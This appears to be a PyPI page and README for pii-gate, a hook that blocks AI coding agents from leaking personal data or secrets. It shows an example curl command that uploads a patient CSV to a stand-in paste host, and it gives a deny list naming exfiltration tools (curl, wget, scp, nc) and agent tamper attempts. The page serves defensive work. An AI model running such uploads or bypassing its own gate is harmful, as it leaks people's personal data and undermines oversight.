pii-gate
A fail-closed personal-data gate for AI coding agents.
One small hook, installed into Codex CLI and Claude Code, that stops the agent before it runs a shell command, writes a file, calls the web or sends a prompt that would leak personal data or secrets.
$ pii-gate check --command "curl -d @patients.csv https://paste.example.com"
BLOCK exfil: 1 match (curl with upload flag, e.g. "curl")
$ pii-gate check "SELECT first_name, national_id FROM patients"
BLOCK sql-pii: 2 matches (personal column in a person-table query, e.g. "first_name")
$ pii-gate check "customer 12345678950 called about the invoice"
BLOCK tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
Why
Coding agents run shell commands, query databases and call the internet on your behalf. Their
permission prompts understand tools, not data: curl is just curl, whether it fetches a tarball
or posts a patient list. In a GDPR, KVKK or HIPAA environment one such call is a reportable incident.
pii-gate reads the content of every call and says no when it has to. It was written for a team that runs agents against clinical databases every day, and then rewritten from scratch, without a single line of that environment in it, so that anyone can use it.
Install
pip install pii-gate # or: pipx install pii-gate
pii-gate install codex # writes ~/.codex/hooks.json
pii-gate install claude # writes ~/.claude/settings.json
pii-gate status
Codex only runs hooks you have trusted: start codex, type /hooks, review and trust the new entry.
Add --project to install into ./.codex or ./.claude of one repository instead of your home.
Requirements: Python 3.9 or newer. No dependencies.
What it blocks
| rule | default | what |
|---|---|---|
tckn |
block | Turkish national ID numbers (11 digits, both check digits verified) |
es-dni |
block | Spanish DNI and NIE (check letter verified) |
it-cf |
block | Italian codice fiscale (check character and birth day verified, omocodia aware) |
nl-bsn |
block | Dutch BSN (11-check), only next to a BSN or burgerservicenummer label |
pl-pesel |
block | Polish PESEL (checksum and birth date), only next to a PESEL label |
iban |
block | IBANs (mod-97 checksum, per-country length) |
card |
block | payment card numbers (Luhn, 13 to 19 digits, plausible prefix) |
secret |
block | private keys, AWS, OpenAI/Anthropic, GitHub, Slack, Google tokens, JWTs |
exfil |
block | uploads: curl -d/-F/-T, wget --post-file, scp, rsync, aws s3 cp, pipes into nc/ssh, requests.post(...), and any outbound call whose command line already contains personal data |
git-push |
block | the agent never publishes; you push |
tamper |
block | writes to .pii-gate.json, the agents' hook settings, --no-verify, PII_GATE_*= overrides |
sql-pii |
block | SELECT lists with sensitive columns (national IDs, birth dates, card numbers, health, salary), or names and contact details when the query touches a person table |
sql-star |
block | SELECT * on a person table |
email |
warn | e-mail addresses (reserved domains such as example.com are ignored) |
phone |
warn | Turkish mobile and international phone numbers |
secret-assign |
warn | password = "..." style assignments with a literal value |
sql-pii-context |
warn | names and contact columns outside a person table (a supplier's phone is not personal data) |
warn findings are allowed and written to the decision log; block findings stop the call. Change any
rule's level in the config, including turning the SQL gate off if your project is not a data project.
What the agent sees when it is stopped:
pii-gate blocked this Bash call.
- tckn: 1 match (Turkish national ID, checksum valid, e.g. "1***")
- exfil: 1 match (curl with outbound call carrying sensitive data, e.g. "curl")
Personal data, secrets and outbound transfers must not leave this machine. Remove them.
If this is synthetic test data, the user can allow it in .pii-gate.json (allow_values, allow_paths);
the agent may not edit that file.
The value itself is never in the message, never in the log.
Where it looks
| event | Codex CLI | Claude Code |
|---|---|---|
| shell command | Bash (all rules) |
Bash, PowerShell (all rules) |
| file write | apply_patch: added lines only |
Edit, MultiEdit, Write, NotebookEdit: new text only |
| web | hosted tools cannot be hooked by Codex | WebFetch, WebSearch |
| MCP tools | every string argument | every string argument |
| your prompt | UserPromptSubmit |
UserPromptSubmit |
File writes honour allow_paths, so your synthetic test fixtures keep working.
Configuration
Optional. Looked up in this order: $PII_GATE_CONFIG, ./.pii-gate.json (the agent's working
directory), ~/.pii-gate.json. The first file found wins.
{
"rules": { "email": "block", "git-push": "off", "sql-pii": "warn" },
"allow_values": ["12345678950"],
"allow_paths": ["tests/*", "fixtures/*"],
"email_allow_domains": ["mycompany.example"],
"sql": {
"extra_pii_columns": ["protocol_no", "insurance_no"],
"extra_person_tables": ["donor", "guardian"],
"ignore_columns": ["name"]
},
"scan_prompts": true,
"fail_open": false,
"log": true
}
The agent cannot edit this file: every attempt is itself a tamper block.
Command line
pii-gate check "text" # what would happen to this text (exit 1 if blocked)
pii-gate check --command "cmd" # same, with the shell rules (exfil, git-push, tamper)
pii-gate scan [paths] # scan files; exit 1 on blocking findings
pii-gate scan --staged # lines added in the git index, for a pre-commit hook
pii-gate install|uninstall codex|claude|all [--project]
pii-gate status
Pre-commit, in .git/hooks/pre-commit:
#!/bin/sh
exec pii-gate scan --staged
Design principles
- Fail closed. Bad input, a crash in a detector, an unreadable config: the call is blocked, with a
message that says why. A gate that fails open is not a gate. Set
fail_openif you disagree. - Values never leave the process. Findings carry the rule name and the first character. The deny
message and the decision log (
~/.pii-gate/decisions.log) contain counts, never data. - One engine, two agents. Codex and Claude speak the same hook protocol (JSON in, exit code 2 to block, stderr as the reason). Everything is tested against both payload shapes.
- The agent cannot disable its own gate. Config files, hook settings and bypass flags are protected
by the
tamperrule. - Two-tier SQL. National IDs are sensitive everywhere. A phone column is sensitive in
patients, not insuppliers. Aggregations that reveal nothing (COUNT,LEN,IS NULL, first letter, year) pass. - Zero dependencies, pure Python. Nothing to audit but this repository. The hook starts in tens of milliseconds.
Limitations
- Detectors are pattern based. Checksums keep false positives low for IDs, IBANs and cards; phone and
e-mail detection is heuristic and therefore
warnby default. - Only what the agent sends is inspected. What the agent reads (a file full of records) is not
redacted; that is on the roadmap via
PostToolUse. - Codex does not expose its hosted web tools to hooks, so web calls are gated in Claude Code only.
- National IDs are validated with checksums for Turkey, Spain, Italy, the Netherlands and Poland. Dutch BSN and Polish PESEL checks are weak on their own, so those two are matched only next to their label. Other countries' identifiers are welcome as contributions, with synthetic test values.
- This is a guard rail, not a data-loss-prevention product. Use it together with least-privilege database accounts and the agents' own permission settings.
Roadmap
PostToolUseredaction of tool output (file reads, query results).- National identifiers of more countries, each with its checksum.
- A
--reportmode that summarises the decision log. - Gemini CLI support once its hook protocol settles.
Contributing
Issues and pull requests are welcome. Every detector change needs a test with synthetic values
(see tests/_synthetic.py, which generates valid check digits from arbitrary digits). Never commit
real personal data, not even "just one example". pii-gate scan . runs in CI on this repository too.
License
MIT. See LICENSE.
Türkçe özet için README.tr.md.
Metadata
Release files for pii-gate 0.2.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | |
|---|---|---|---|---|
| pii_gate-0.2.0.tar.gz | 34.3 kB | With provenance | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| pii_gate-0.2.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 59.8 kB
Release files / pii_gate-0.2.0.tar.gz
| Download URL | pii_gate-0.2.0.tar.gz |
|---|---|
| Size | 34.3 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
24b33d5a7bd7eadca47ca53fef943fa558b51f29bcb3a6203edd5fb199ef483a
|
|
BLAKE2b-256 checksum How to use checksums |
f42671f27a1844153cf3e573ef758b60a61d15ed949bf0c1ac0118e4031cdd0e
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.16
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.
Transparency logRelease files / pii_gate-0.2.0-py3-none-any.whl
| Download URL | pii_gate-0.2.0-py3-none-any.whl |
|---|---|
| Size | 25.5 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
1bed7abb132f6e00dd19225ef9094e88e792a842833ca860db6d2be107d89348
|
|
BLAKE2b-256 checksum How to use checksums |
b25e31f380f9cf4c999e031dd4432c9df0730ecc0ce02a73f151847b18cadf05
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
Yes |
| Uploaded via |
twine/7.0.0 CPython/3.13.16
|
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.
Transparency logSecurity for pii-gate 0.2.0
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
Full provenance
All 2 files in this release have been uploaded with provenance metadata.
Attestation for pii_gate-0.2.0.tar.gz
PyPI Publish Attestation
PyPI verified that this artifact, at this checksum, originated from the publisher listed below.
Signed by GitHub Actions, verified by PyPI on Oct 23, 2026.
Transparency logA note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.